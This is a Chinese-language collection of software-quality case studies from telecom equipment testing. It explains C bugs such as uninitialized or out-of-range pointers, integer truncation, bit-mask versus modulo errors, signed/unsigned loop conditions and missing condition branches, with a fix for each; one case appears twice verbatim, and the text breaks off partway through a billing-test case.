四、产品兼容性问题 第52页 1、系统配置、命令方式 第52页 【案例4.1.1】 第52页 【案例4.1.2】 第53页 2、设备对接 第54页 【案例4.2.1】 第54页 3、其他 第55页 【案例4.3.1】 第55页 五、版本控制问题 第58页 1、新老代码中同一全局变量不一致 第58页 【案例5.1.1】 第58页 六、可测试性代码问题 第59页 1、调试信息/打印信息的正确性 第59页 【案例6.1.1】 第59页 一、逻辑类代码问题 1、变量/指针在使用前就必须初始化 【案例1.1.1】 C语言中最大的特色就是指针。指针的使用具有很强的技巧性和灵活性，但同时也带来了 很大的危险性。在XXX的代码中有如下一端对指针的灵活使用： ... ... _UC *puc_card_config_tab; ... ... Get_Config_Table( AMP_CPM_CARD_CONFIG_TABLE, &ul_card_config_num, &puc_card_config_tab, use_which_data_area ); ... ... b_middle_data_ok = generate_trans_middle_data_from_original_data( puc_card_config_tab, Ul_card_config_num) .... ... 其中红色部分巧妙的利用指向指针的指针为指针puc_card_config_tab赋值,而在兰色部分 使用该指针。但在Get_Config_Table函数中有可能失败返回而不给该指针赋值。因此，以 后使用的可能是一个非法指针。 指针的使用是非常灵活的，同时也存在危险性，必须小心使用。指针使用的危险性举世共 知。在新的编程思想中，指针基本上被禁止使用（JAVA中就是这样），至少也是被限制使 用。而在我们交换机的程序中大量使用指针，并且有增无减。 2、防止指针/数组操作越界 【案例1.2.1】 在香港项目测试中，发现ISDN话机拨新业务号码时，若一位一位的拨至18位，不 会有问题。但若先拨完号码再成组发送，会导致MPU死机。 处理过程： 查错过程很简单，按呼叫处理的过程检查代码，发现某一处的判断有误，本应为 小于18的判断，写成了小于等于18。 结 论： 代码编写有误。 思考与启示： 1、极限测试必须注意，测试前应对某项设计的极限做好充分测试规划。 2、测试极限时还要注意多种业务接入点，本例为ISDN。对于交换机来说，任何 一种业务都要分别在模拟话机、ISDN话机、V5话机、多种形式的话务台上做测试。对于中 继的业务，则要充分考虑各种信令：TUP、ISUP、PRA、NO1、V5等等。 【案例1.2.2】 对某交换类进行计费测试，字冠011对应1号路由、1号子路由，有4个中继群11,12,13,14 (都属于1#模块)，前后两个群分别构成自环。其中11,13群向为出中继,12,14群向为入中继 ，对这四个群分别进行计费设置，对出入中继都计费。电话60640001拨打01160010001两次 ，使四个群都有机会被计费，取话单后浏览话单发现对11群计费计次表话单出中继群号不 正确，其它群的计次表中出中继群号正常。 处理过程： 与开发人员在测试组环境多次重复以上步骤，发现11群的计次表话单有时正常，有时其出 中继群号就为一个随机值，发生异常的频率比较高。为什么其它群的话单正常，唯独11群 不正常呢？11群是四个群中最小的群，其中继计次表位于缓冲区的首位，打完电话后查询 内存发现出中继群号在内存中是正确的，取完话单后再查就不正确了。 结 论： 话单池的一个备份指针Pool_head_1和中继计次表的头指针重合，影响到第一个中继计次 表的计费。 思考与启示： 随机值的背后往往隐藏着指针问题，两块内存缓冲区的交界处比较容易出现问题，在编程 时是应该注意的地方。 【案例1.2.3】 【正 文】 在接入网产品A测试中，在内存数据库正常的情况下的各种数据库方面的操作都 是正常的。为了进行数据库异常测试，于是将数据库内容人为地破坏了。发现在对数据库 进行比较操作时，出现程序跑死了现象。 经过跟踪调试发现问题出现在如下一段代码中: 1 for(i=0; i<pSysHead->dbf_count; i++) 2 { 3 pDBFat = (_NM_DBFAT_STRUC *)(NVDB_BASE + DBFAT_OFFSET + i*DBFAT_ LEN); 4 if(fat_check(pDBFat) != 0) 5 { 6 pSysHead->system_flag = 0; 7 head_sum(); 8 continue; 9 } 10 if(strlen(dbf->dbf_name) != 0 && strncmp(dbf->dbf_name, pDBFat- >dbf_name, strlen(dbf->dbf_name)) == 0) 11 { 12 dbf_ptr1 = (_UC *)pDBFat->dbf_head; 13 filesize = pDBFat->dbf_fsize; 14 break; 15 } 16 } 在测试时发现程序死在循环之中，得到的错误记录是"Bus Error"（总线出错）， 由此可以说明出现了内存操作异常。 经过跟踪变量值发现循环变量i的阀值pSysHead->dbf_count的数值为0xFFFFFFFF，该值是 从被破坏的内存数据库中获取的，正常情况下该值小于127。而pDBFat是数据库的起始地址 ，如果pSysHead->dbf_count值异常过大，将导致pDBFat值超过最大内存地址值，随后进行 的内存操作将导致内存操作越界错误，因而在测试过程中数据库破坏后就出现了主机死机 的现象。 上面的问题解决起来很容易，只需在第一行代码中增加一个判断条件即可，如下： 　for(i=0; i<pSysHead->dbf_coun && i < MAX_DB_NUM; i++) // MAX_DB_NUM=127 这样就保证了循环变量i的值在正常范围内，从而避免了对指针pDBFat进行内存越界的操 作。 　　从上面的测试过程中，我们可以看到：如此严重的问题，仅仅是一个简单的错误引起 的。实际上，系统的不稳定往往是由这些看似很简单的小错误导致的。这个问题给我们教 训的是：在直接对内存地址进行操作时，一定要保证其值的合法性，否则容易引起内存操 作越界，给系统的稳定性带来潜在的威胁。 【案例1.2.4】 近日在CDB并行测试中发现一个问题：我们需要的小区负荷话统结果总是为零，开始还以 为小区负荷太小，于是加大短消息下发数量，但还为零，于是在程序中加入测试代码，把 收到的数据在BAM上打印出来, 结果打印出来的数据正常,不可能为零,仔细查看相关代码,问题只可能在指针移位上有问 题,果然在函数中发现一处比较隐蔽的错误。 /* 功能:一个BM模块内所有小区CDB侧广播消息忙闲情况 */ /*************************************************************/ void Cell_CBCH_Load_Static(struct MsgCB FAR *pMsg) { 。。。 memcpy((_UC *)&tmp_msg,pMsg,sizeof(tmp_msg)); pMsg=pMsg+sizeof(tmp_msg);//sizeof(tmp_msg)=10;本意是想移动10个字节,可是实际上 指针移动了10*sizeof(struct MsgCB)个字节; CellNum=tmp_msg.usCellNum; 。。。 } 1 所以结构指针传入函数后，如要进行指针移动操作，最好先将其转化为_UC型再说。 总之指针操作要小心为上。 3、避免指针的非法引用 【案例1.3.1】 【正 文】 在一次测试中，并没有记得做了什么操作，发现HONET系统的主机复位了，之后，系统又工 作正常了。由于没有打开后台的跟踪窗口，当时查了半天没有眉目。过了半天，现象又出 现了，而且这次是主机在反复复位，系统根本无法正常工作了。 我凭记忆，判断应该是与当时正在测试的DSL板的端口配置有关。于是将板上所有端口配置 为普通2B+D端口，重新加载在主机数据，现象消失。于是初步定位为主机在DSL端口处理过 程中有重大错误。 我在新的数据上努力恢复原出问题的现象，却一直没有重现，于是恢复原数据，加载后立 即重现。并注意到，当DSL端口激活时，主机复位。仔细比较两种数据的差别，发现出现主 机复位问题的数据中DSL板配置了MNT/MLT端口，但是没有做DSL端口之间的半永久数据。 于是在程序中不断加打印语句，通过后台的DBWIN调试程序跟踪，最后终于定位为：每当执 行到portdsl.c的DeviceDslMsgProc()函数中处理U口透传的 if ( SPC_STATE_OK == pSpcCB->bySpcState ) 语句时，主机复位。但是该语句似乎并无不妥。 再分析整个函数，pSpcCB在函数前部分已经被赋值， pSpcCB = SpcCB + (PortTable+index)->spcNo; 但由于得到 index 后，没有任何判断，导致若MNT/MLT端口没有做半永久，端口激活后， 执行此部分函数，(PortTable+index)->spcNo 有可能为NULL_WORD，于是，运算后，pSpc CB 可能为非法值。此时主机在取进行判断，就不知会导致什么后果了。 其实，改起来很简单，只要在这两句前增加一个判断就行了。于是，修改代码为： if ( (PortTable+index)->spcNo != NULL_WORD) { pSpcCB = SpcCB + (PortTable+index)->spcNo; if ( SPC_STATE_OK == pSpcCB->bySpcState ) {。。。} } 修改后，问题不再重现。 经过分析可以发现，编译环境是有很大的容许空间的，若主机没有做充分的保护，很可能 会有极严重的随即故障出现。所以编程时一定要考虑各种可能情况；而测试中遇到此类死 机问题，则要耐心的定位到具体是执行哪句代码时出现的，再进行分析。因为问题很隐蔽 ，直接分析海一样的代码是很难发现的。 4、变量类型定义错误 【案例1.4.1】 【正 文】 在FRI板上建几条FRPVC，其DLCI类型分别为：10Bit/2bytes、10bit/3bytes、16 bit/3bytes、17bit/4bytes、23bit/4bytes。相应的DLCI值为：16、234、991、126975、 1234567，然后保存，重起MUX，观察PVC的恢复情况，结果DLCI值为16、234和991的PVC正 确恢复，而DLCI=126975的PVC恢复的数据错误为61439，而DLCI=1234567的PVC完全没有恢 复。 对于17/4类型，DLCI=126975的PVC在恢复时变成61439，根据这条线索，查找原因 ，发现126975-61439=65535，转化二进制就是10000000000000000，也就是说在数据恢复或 保存时把原数据的第一个1给忽略了。此时第一个想法是：在程序处理中，把无符号长整型 变量当作短整型变量处理了，为了证实这个判断，针对17bit/4bytes类型又重新设计测试 用例：（1） 先建PVC，DLCI=65535，然后保存，重起MUX，观察PVC的恢复情况，发现PVC 能够正确恢复； （2）再建PVC，DLCI=65536，然后保存，重起MUX，观察PVC的恢复情况，此时PVC不能正确 恢复。 至此基本可以断定原因就是出在这里。带着这个目的查看原代码，发现在以下代码中有问 题： int _GetFrDlci( DWORD* dwDlci, char* str, DWORD dwDlciType, DWORD dwPortType, DWORD dwSlotID, DWORD dwPortID) { DWORD tempDlci; char szArg[80]; 1 char szLine[80]; ID LowPVCEP; DWORD dwDlciVal[5][2] = { {16,1007}, {16,1007}, {1024,64511}, {2048,129023}, {131072,4194303} } ; ．．． } typedef struct tagFrPppIntIWF { ．．． WORD wHdlcPort; WORD wHdlcDlci; WORD wPeerHdlcDlci; WORD wPeerOldAtmPort; ．．． } SFrPppIntIWFData; DWORD SaveFrNetIntIWFData ( DWORD *pdwWritePoint ) { BYTE bSlotID, bPeerSlotID; DWORD dwCCID, dwPeerCCID; WORD wHdlcPort, wAtmPort, wIci, wPeerIci, wPeerHdlcPort ; WORD wCount; ．．． } DWORD SaveFrNetExtIWFData ( DWORD *pdwWritePoint ) { BYTE bSlotID; DWORD dwCCID, dwPeerCCID; WORD wHdlcPort, wAtmPort, wIci ; WORD wCount; ．．． unSevData.FrNetExtIWF[wCount].bSlotID = bSlotID; unSevData.FrNetExtIWF[wCount].wHdlcPort = wHdlcPort; unSevData.FrNetExtIWF[wCount].wHdlcDlci = gFrPVCEP[bSlotID ][ gFrPVCC[bSlotID ][dwCCID].dwLoPVCEP ].dwDLCI; unSevData.FrNetExtIWF[wCount].wOldAtmPort = wAtmPort; unSevData.FrNetExtIWF[wCount].wAtmDlci = gFrPVCEP[ bSlotID ][ gFrPVCC[bSlotID ][dwCCID].dwHiPVCEP ].dwDLCI; unSevData.FrNetExtIWF[wCount].dwMapMode = gFrPVCC[bSlotID][dwCCID].dwMapMode; 　　　　　．．． } DWORD RestoreFrNetExtIWFData ( WORD wSlotID, BYTE *pReadPoint ) { WORD wCount, wTotalNetIWF; BYTE bSlotID, bHdlcDlciType, bAtmDlciType; WORD wOldAtmPort, wAtmDlci, wHdlcPort, wHdlcDlci; DWORD dwMapMode, dwCIR, dwBe; DWORD dwCCID, dwResult, dwAtmPort; wTotalNetIWF = g_MuxData.SevDataSize.wFrNetExtIWFNum; ．．． } DWORD RestoreFrHdlcIntIWFData ( WORD wSlotID, BYTE *pReadPoint ) { WORD wCount, wTotalHdlcIWF; DWORD dwCCID, dwPeerCCID, dwAtmPort, dwPeerAtmPort; DWORD dwResult; BYTE bSlotID, bPeerSlotID; WORD wHdlcPort, wOldAtmPort, wCIR; WORD wPeerHdlcPort, wPeerOldAtmPort; ．．． } 其中涉及DLCI值的变量都为WORD（即无符号短整型）类型，在程序的处理时，出 现WORD和DWORD（无符号长整型）类型在一句中同时存在的情况，至此可以判断问题出在这 里。由于DLCI值在不同类型时的取值范围不同，前三种类型的取值范围为16~991，第四种 取值范围为2048~126975，第五种取值范围为131072~4194303，所以当采用前三种DLCI类型 时，采用WORD类型最大值为65535，已经完全够用了；而对于第四种类型时，其取值在超过 65535时，获取DLCI值的函数_GetFrDlci（）采用DWORD类型，而负责保存和恢复的两个函 数SaveFrNetExtIWFData（）和RestoreFrNetExtIWFData（），都把DLCI的值当作WORD类型 进行处理，因此导致DLCI取值越界，于是程序把原本为长整型的DLCI强制转换成整型，从 而导致DLCI值在恢复时，比原数据小65536。而在程序运行过程中，这些数据保存在DRAM中 ，程序运行直接从DRAM中获取数据，程序不会出错；当FRI板复位或插拔后，需要从FLASH 中读取数据，此时恢复函数的错误就表现出来。 另一个问题是为什么23/4类型的DLCI数据不能恢复？这是由于对于23/4类型的PVC ，其DLCI的取值范围为：131072~4194303，而程序强制转换并恢复的数据最大只能是6553 5，所以这条PVC不能恢复。 至此，DLCI数据恢复出错的原因完全找到，解决的方法是将DLCI的类型改为DWOR D类型。从这个案例可以看出，在程序开发中一个很低级的错误，将在实际工作中造成很严 重的后果。 【案例1.4.2】 【正 文】 在FRI板上建几条FRPVC，其DLCI类型分别为：10Bit/2bytes、10bit/3bytes、16 bit/3bytes、17bit/4bytes、23bit/4bytes。相应的DLCI值为：16、234、991、126975、 1234567，然后保存，重起MUX，观察PVC的恢复情况，结果DLCI值为16、234和991的PVC正 确恢复，而DLCI=126975的PVC恢复的数据错误为61439，而DLCI=1234567的PVC完全没有恢 复。 对于17/4类型，DLCI=126975的PVC在恢复时变成61439，根据这条线索，查找原因 ，发现126975-61439=65535，转化二进制就是10000000000000000，也就是说在数据恢复或 保存时把原数据的第一个1给忽略了。此时第一个想法是：在程序处理中，把无符号长整型 变量当作短整型变量处理了，为了证实这个判断，针对17bit/4bytes类型又重新设计测试 用例：（1） 先建PVC，DLCI=65535，然后保存，重起MUX，观察PVC的恢复情况，发现PVC 能够正确恢复； （2）再建PVC，DLCI=65536，然后保存，重起MUX，观察PVC的恢复情况，此时PVC不能正确 恢复。 至此基本可以断定原因就是出在这里。带着这个目的查看原代码，发现在以下代码中有问 题： int _GetFrDlci( DWORD* dwDlci, char* str, DWORD dwDlciType, DWORD dwPortType, DWORD dwSlotID, DWORD dwPortID) { DWORD tempDlci; char szArg[80]; char szLine[80]; ID LowPVCEP; DWORD dwDlciVal[5][2] = { {16,1007}, {16,1007}, {1024,64511}, {2048,129023}, {131072,4194303} } ; ．．． } typedef struct tagFrPppIntIWF { ．．． WORD wHdlcPort; WORD wHdlcDlci; WORD wPeerHdlcDlci; WORD wPeerOldAtmPort; ．．． } SFrPppIntIWFData; DWORD SaveFrNetIntIWFData ( DWORD *pdwWritePoint ) { BYTE bSlotID, bPeerSlotID; DWORD dwCCID, dwPeerCCID; WORD wHdlcPort, wAtmPort, wIci, wPeerIci, wPeerHdlcPort ; WORD wCount; ．．． } DWORD SaveFrNetExtIWFData ( DWORD *pdwWritePoint ) { BYTE bSlotID; DWORD dwCCID, dwPeerCCID; WORD wHdlcPort, wAtmPort, wIci ; WORD wCount; ．．． unSevData.FrNetExtIWF[wCount].bSlotID = bSlotID; unSevData.FrNetExtIWF[wCount].wHdlcPort = wHdlcPort; unSevData.FrNetExtIWF[wCount].wHdlcDlci = gFrPVCEP[bSlotID ][ gFrPVCC[bSlotID ][dwCCID].dwLoPVCEP ].dwDLCI; unSevData.FrNetExtIWF[wCount].wOldAtmPort = wAtmPort; unSevData.FrNetExtIWF[wCount].wAtmDlci = gFrPVCEP[ bSlotID ][ gFrPVCC[bSlotID ][dwCCID].dwHiPVCEP ].dwDLCI; unSevData.FrNetExtIWF[wCount].dwMapMode = gFrPVCC[bSlotID][dwCCID].dwMapMode; 　　　　　．．． } DWORD RestoreFrNetExtIWFData ( WORD wSlotID, BYTE *pReadPoint ) { WORD wCount, wTotalNetIWF; BYTE bSlotID, bHdlcDlciType, bAtmDlciType; WORD wOldAtmPort, wAtmDlci, wHdlcPort, wHdlcDlci; DWORD dwMapMode, dwCIR, dwBe; DWORD dwCCID, dwResult, dwAtmPort; wTotalNetIWF = g_MuxData.SevDataSize.wFrNetExtIWFNum; ．．． } DWORD RestoreFrHdlcIntIWFData ( WORD wSlotID, BYTE *pReadPoint ) { WORD wCount, wTotalHdlcIWF; DWORD dwCCID, dwPeerCCID, dwAtmPort, dwPeerAtmPort; DWORD dwResult; BYTE bSlotID, bPeerSlotID; WORD wHdlcPort, wOldAtmPort, wCIR; WORD wPeerHdlcPort, wPeerOldAtmPort; ．．． } 其中涉及DLCI值的变量都为WORD（即无符号短整型）类型，在程序的处理时，出 现WORD和DWORD（无符号长整型）类型在一句中同时存在的情况，至此可以判断问题出在这 里。由于DLCI值在不同类型时的取值范围不同，前三种类型的取值范围为16~991，第四种 取值范围为2048~126975，第五种取值范围为131072~4194303，所以当采用前三种DLCI类型 时，采用WORD类型最大值为65535，已经完全够用了；而对于第四种类型时，其取值在超过 65535时，获取DLCI值的函数_GetFrDlci（）采用DWORD类型，而负责保存和恢复的两个函 数SaveFrNetExtIWFData（）和RestoreFrNetExtIWFData（），都把DLCI的值当作WORD类型 进行处理，因此导致DLCI取值越界，于是程序把原本为长整型的DLCI强制转换成整型，从 而导致DLCI值在恢复时，比原数据小65536。而在程序运行过程中，这些数据保存在DRAM中 ，程序运行直接从DRAM中获取数据，程序不会出错；当FRI板复位或插拔后，需要从FLASH 中读取数据，此时恢复函数的错误就表现出来。 另一个问题是为什么23/4类型的DLCI数据不能恢复？这是由于对于23/4类型的PVC ，其DLCI的取值范围为：131072~4194303，而程序强制转换并恢复的数据最大只能是6553 5，所以这条PVC不能恢复。 至此，DLCI数据恢复出错的原因完全找到，解决的方法是将DLCI的类型改为DWOR D类型。从这个案例可以看出，在程序开发中一个很低级的错误，将在实际工作中造成很严 重的后果。 5、正确使用逻辑与&&、屏蔽&操作符 【案例1.5.1】 【案例描述】：由于C语言中位与比求模效率高，因而系统设计时，对于模128的地方都改 为与127，系统定义的宏为#define MOD128 127和#define W_MOD 127(定义的宏的名字 易引起误解)，但实际程序中还是采取求模，从而引起发送窗口欲重发的和实际重发的不一 致，最终导致链路复位此类严重问题，曾在定位此问题时花了不少时间。 【处理过程】：处理过程如下： #define MOD128 127 //队列长128，当队头到128时，上其返回。 #define W_MOD 127 //发送窗口队列，意义同上。 在函数L2_TO_L1()中，有如下语句： linkstate_ptr->SendWin.head = (head + 1) % W_MOD ; 这里当head=126时，SendWin.head = 0，这将造成发送窗口指针和队列窗口指针错位，造 成链路复位; 另外，在重发函数void INVOKE_RETRANSMISSION(_US logic_link,_US n_r)中，有如下语 句： retran_num = (LinkState[logic_link].Vs + MOD128 - (_UC)n_r) % MOD128 ; w_head = (LinkState[logic_link].SendWin.head + W_MOD - retran_num) % W_MOD ; 第一个语句求欲重发的消息包个数，第二个语句求重发的起始位置，当Vs小于n_r时，将造 成实际重发数小于欲重发数，同时造成实际起始重发位置和欲重发起始位置错开，从而引 起链路复位。上面三个语句应该做如下改动： linkstate_ptr->SendWin.head = (head + 1) & W_MOD ; retran_num = (LinkState[logic_link].Vs + MOD128 + 1 - (_UC)n_r) & MO D128 ; w_head = (LinkState[logic_link].SendWin.head + W_MOD + 1 - retran_num) & W_MOD ; 【结 论】：由于链路通信对系统效率要求很高，算法采用效率最高的，但位与（&）和求 模（%）这小小的区别，造成的竟是链路复位这种严重的错误。 【思考与启示】：对这类问题，大家在阅读代码或代码审查时一定要注意，仔细一点往往 能发现问题，但在测试中来定位这种问题，花费的时间往往更长。 6、注意数据类型的匹配 【案例1.6.1】 【案例描述】 下面通过测试中的一个例子来说明这个问题：命令DSP N7C是用来显示NO7电路状态的，其 参数设备类型DID支持TUP和ISUP，参数信道号BSN支持多值输入（最多支持32路查询），正 常情况下该命令没有问题。但试了非正常情况下，问题就出来了。 1、首先试BSN参数越界情况，即参数BSN超过32路查询，选了几个数据段，问题就出来了 。对于0&&300和0&&256，该命令返回结果不一致，对前者认为参数越界，对后者返回执行 成功。 2、对于参数DID，选定一种设备类型（TUP或ISUP），让参数BSN所包含的32路电路跨越T UP和ISUP，两次结果是不一致的。 【处理过程】 反馈到开发人员那里，第一个问题是BAM的问题，第二个问题是SM的问题。 【结 论】 1、为数据超出范围溢出造成，int值赋值给BYTE，造成数据丢失。 2、问题的产生是因为查询的第一个信道是TUP电路，但是却按ISUP电路查询。ISUP的维护 处理函数判断第一个信道不是ISUP信道，认为整个的PCM不是ISUP类型的PCM，返回全部的 电路状态为未安装。消息处理不合理。TUP也会产生如此错误。 【思考与启示】 我们的MML命令并不是无懈可击的，许多表面上的小问题，往往隐藏着代码的缺陷和错误 。 【案例1.6.2】 【正 文】 当我们使用PC-LINT检查代码时，会发现大量的数据类型不匹配的告警，大部分情况下，这 种代码上存在的问题并不会引起程序功能实现上的错误，但有些情况下，也许会产生严重 的问题： 一、不同数据类型变量之间赋值引起的问题，实际上，该类问题也可以分为几种情 况： 1、直接赋值，比如，把一个WORD型变量赋给一个INT型变量，如果WORD型变量大于32767， INT型变量得到的就是一个负值了。 【例一】一次测试过程中发现，SDH送的告警在BAM调试窗口打印出红色提示：File(XXX), Line(XXX):Invalid alarm id ,from: 7, AlarmId: 65463 经过检查数据发现，并没有ID为65463的告警，分析上报的数据帧，发现上报的告警ID为B 7，原来代码中有一处强制类型转换： sdhAlmStru.AlarmId = (WORD)RecvBuffer[iTmpLen + 5]; char型强制转换成WORD型。B7就变成了FFB7，十进制就是65463。由于char是有符号型，B 7的第8位为1，所以转换后为FFB7，而不是代码作者希望的00B7，如果第8位是0，或该变量 是BYTE型，转换就不会有问题了。 2、函数形参和实参不一致，实际上和第一种情况本质上是一样的，只是表现的形式不太一 样，这种情况也是代码中经常出现的问题,下面例子是测试中曾经发现的一个小问题： 【例二】在file01中的INT DebugMsgProc(char byMsg0, char byMsg1)函数，两个形参都 是char型，而实际传入的参数都是BYTE型，结果函数中的如下语句： PrintfE(PID_RED," %d ticks time out!",byMsg1); 在byMsg1大于127时，输出错误的结果。 二、不同数据类型之间的比较操作 在循环终止条件的判断中，不同类型变量的比较操作是容易造成死循环错误的地方，同时 也是开发人员容易忽视的地方，值得测试人员多加留意。下面两个例子是该类错误的两种 典型情况： 【例三】file02文件中某函数中如下代码，可能造成死循环： ...... int i; WORD *pCheck =(WORD*)p; WORD wCheckSum=*pCheck; pCheck++; for(i=1;i<dwLen/2;i++) { wCheckSum^=(*pCheck); pCheck++; } //binlen had already word alignment return (wCheckSum); ...... 该段代码是在DOS环境下用BC编译的，由于循环变量i是int型（2个字节），而dwLen是 DWORD型（4个字节），如果dwLen大于65536，那么该函数就是死循环了。 上面的例子是不同类型变量之间直接比较操作，还有一种情况是函数的返回值与另一不同 类型的变量比较，见下面例子： 【例四】file03.c文件中某函数中如下代码， while( ftell(fp)< Part[3]) {..... } ftell返回long型，而Part是DWORD型，有符号变量和无符号变量的比较，可能造成死循 环。 类似的例子还有很多，类型不匹配的问题还有许多种情况，都是代码中的隐患，有时会造 成严重的后果，需要引起足够的重视。对于该类问题，我们可以利用PC-LINT工具对代码进 行细致的检查。 7、用于控制条件转移的表达式及取值范围是否书写正确 【案例1.7.1】 【案例描述】： 在测试主机MPU板倒换功能时，如果MPU备份充分，倒换前后对处于激活状态的电路应无影 响，即不影响通话。但近期测试发现，如果两局通过DT板进行一号对接，MPU备份倒换却发 生断话。具体现象为：如果DT板的第1个PCM系统电路为故障，则MPU倒换时复位该DT板，如 果DT板的第2个PCM系统电路为故障，则MPU倒换时复位下一块DT。 【处理过程】： 据查，MPU倒换时会自动复位处于“故障”态的电路，但由于计算错误（多加了32），错 复位了下一个PCM系统32路电路。 【结 论】： 如此严重问题为什么到今天才发现？因为我们在实验室中一般采用同一单板的2个PCM系统 自环进行测试，则不会在某单板上有故障和空闲电路共存，自环屏蔽了错误。 【思考与启示】： 自环是在测试环境下常用的一种提高效率的手段，但一旦条件允许，我们的测试工作应尽 量模拟网上的实际环境进行。 【案例1.7.2】 平时对计费功能进行测试的时候，浏览详细话单都是比较注意话单本身的正确性，并没有 注意该命令对系统的影响。所以当浏览少量话单的时候，并没有发现该命令的异常。但是 当时间的跨度较大时，详细话单数量较多，问题就出现了。执行如下命令： LST AMA: TP=NRM, SD=1999&7&1, SA=YES; 当浏览了大约10万张详细话单后，终端与BAM的连接关闭。重建连接后，发现话单台的命 令不能执行。观察BAM的性能，发现话单台仍占有CPU50%以上的利用率，说明原来的任务仍 在执行。需要关一下话单台才能恢复正常。 重复上述步骤，当终端与BAM的连接尚未关闭时主动断开此次连接，结果同上。 反馈到开发人员那里，发现该现象与设计的初衷是相违背的。本来话单台控制最多输出2 00张话单，这是为了防止过多话单的输出显示会增加BAM的开销，从而降低BAM的性能。查 看一下源代码，问题就发现了。 话单台控制最多输出200张话单 程序如下 while(timeCur <= timeEnd) { timeCur += tsOneDay;//加一天 while(fileBill.Read(&rpt, sizeof(CBillReport)) == sizeof(CBillReport)) { ..................... //只输出满足条件的前200张话单 if (++wBillCount == 200) { break; } }//一个文件查询结束 }//所有文件查询结束 在话单输出200张之后，程序只退出一层循环，仍然会从下一天话单继续输出，导致向MM L发帧过多，造成MML和话单台都被堵死。 修改ProcessQueryBill()函数 //只输出满足条件的前200张话单 if (++wBillCount == 200) { timeCur = timeEnd + tsOneDay;//退出第二层循环, while(timeCur <= timeEnd) break; } 作上述修改后问题就不再出现了。 一些MML命令从完成的功能来讲可能是没什么问题的，但其执行对系统性能的影响我们在 测试时时往往给忽视了。在我们目前的BAM方案中，存在着多个终端协同工作，如果某个终 端发出的命令在BAM中长时间独占着大部分系统资源，造成的后果是严重的。这是在设计时 要避免的，在测试中要注意的问题。 【案例1.7.3】 【正 文】 在判断模拟用户端口是否反极性时有这样一段程序： if ( ( bsn >= g_wASL32StartPSN ) && ( ( ( bsn - g_wASL32StartPSN ) % 32 ) == 15 || ( ( bsn - g_wASL32 StartPSN ) % 32 == 16 ) ) ) return TRUE; if ( ( bsn % 16 ) == 7 || ( bsn % 16 ) == 8 ) return TRUE; return FALSE; 作者的本意是如果是32路用户板（蓝色字体判断），就看端口号是否是第15和16路，如果 是，就是反极性端口，返回TRUE，否则就不是，应该返回FALSE。但代码表达的意思是：如 果是32路用户板并且端口号是15或16就返回真值，否则还要执行下边语句。 当端口在32路用户板上，但端口号不是15或16时，不同的32路端口的起始地址g_wASL32S tartPSN，会导致不同的非15、16端口被误认为是反极性端口。举个例子，当g_wASL32Sta rtPSN的值为3000时，端口号为3000（第一块板上的第0个端口）就被认为是反极性端口， 这与作者的意图完全相悖。 可以将代码修改如下： if ( ( bsn >= g_wASL32StartPSN ) { if ( ( ( bsn - g_wASL32StartPSN ) % 32 ) == 15 || ( ( bsn - g_wASL32Sta rtPSN ) % 32 == 16 ) ) ) return TRUE; } else if ( ( bsn % 16 ) == 7 || ( bsn % 16 ) == 8 ) return TRUE; return FALSE; 通过这个例子，我觉得在代码审查时应该留意在判断条件较多的情况下，每个输入是否都 能正确输出，在单元测试、集成测试、系统测试时要针对边界值设计相应的测试用例。 判断条件较多时开发人员也应该适当分开写，既使代码更易读，又不容易出错。 8、条件分支处理是否有遗漏 【案例1.8.1】 【现 象】 在接入网主机程序的代码审查中，发现dbquery.c的DBQ_Init_ANType函数中如下 代码段缺少应有的条件分支，在数据异常的情况下，会产生较严重的问题。 【处理过程】 该错误比较隐蔽，现在说明如下： Max2B1QStatTime 最大统计时间 Max2B1QStatPortNum最大统计端口数 MAX_2B1Q_STAT_PSN 最大统计内存分配数量 其中：Max2B1QStatTime（最大统计时间）和Max2B1QStatPortNum （最大统计 端口数）的乘积不能大于MAX_2B1Q_STAT_PSN 程序如下： //查询数据库，获得Max2B1QStatTime的值 directQueryCond.tupleNo = 10; error_code = DB_Query( RID_OTHERS_PARA_INFO, 1, (LPDBCondition)&directQueryCond, (BYTE FAR *)&tempstruct0 ); //查询数据库成功 if( error_code == DB_SUCCESS ) { //tempstruct0.data是数据库中为Max2B1QStatTime配置的值 if ( tempstruct0.data > MAX_2B1Q_STAT_PSN ) Max2B1QStatTime = MAX_2B1Q_STAT_PSN; else if ( tempstruct0.data != 0 ) Max2B1QStatTime = tempstruct0.data; } //查询数据库，获得Max2B1QStatPortNum的值 directQueryCond.tupleNo = 11; error_code = DB_Query( RID_OTHERS_PARA_INFO, 1, (LPDBCondition)&directQueryCond, (BYTE FAR *)&tempstruct0 ); //查询数据库成功 if( error_code == DB_SUCCESS ) { //tempstruct0.data为数据库中为Max2B1QStatPortNum配置的值，如果其缺省值和Ma x2B1QStatTime乘积值大于MAX_2B1Q_STAT_PSN的话： if ( (tempstruct0.data * Max2B1QStatTime) > MAX_2B1Q_STAT_PSN ) Max2B1QStatPortNum = MAX_2B1Q_STAT_PSN / Max2B1QStatTim e; //如果在合理范围内且不为0的话： else if ( tempstruct0.data != 0 ) Max2B1QStatPortNum = tempstruct0.data; } 此处if-else if 分支没有判断 值为0的情况，即数据库为Max2B1QStatPortNum配 置的值为0： tempstruct0.data == 0，则Max2B1QStatPortNum就为缺省值32。 【结 论】 由于内存限制，Max2B1QStatTime（最大统计时间）和Max2B1QStatPortNum（最大 统计端口数）的乘积不能大于MAX_2B1Q_STAT_PSN， 如果从数据库中得到Max2B1QStatTime为MAX_2B1Q_STAT_PSN，而数据库中最大统 计端口数恰好为0，由于上述代码没有对tempstruct0.data == 0的情况进行判断，Max2B1 QStatPortNum为缺省值32，这样Max2B1QStatTime和Max2B1QStatPortNum乘积已经是32倍M AX_2B1Q_STAT_PSN了，远远超过了设计内存的限制。 造成这种错误的原因是判断语句对条件判断不完整。 【思考与启示】 在代码审查时，应该十分注意条件判断的的完备性。好多问题就是因为条件判断 不完全造成的。 9、引用已释放的资源 【案例1.9.1】 【正 文】 在计费测试的过程中，用呼叫器进行大话务量呼叫测试。30路话路通过TUP自环呼叫另外 30路话路，计费数据的设定是这样的：通过计费情况索引对主叫计费，得到详细话单。首 先保证计费数据设定的正确性，打了几次自环电话后，查看话单正常，则开始呼叫。 呼叫几万次后停止呼叫，取话单进行观察。发现这30路每次呼叫总会出现一张告警话单， 其余话单正常，该告警话单相对于话路来说是随机出现的。 通知开发人员后，首先我们再次对计费数据进行了确认。某个用户在某次呼叫产生了告警 话单，其上一次和下一次呼叫的计费情况都正常，两次呼叫之间的时间间隔只有几秒钟， 排除了人为修改数据的可能。开发人员认为是CCB的问题，后来一查果然如此。 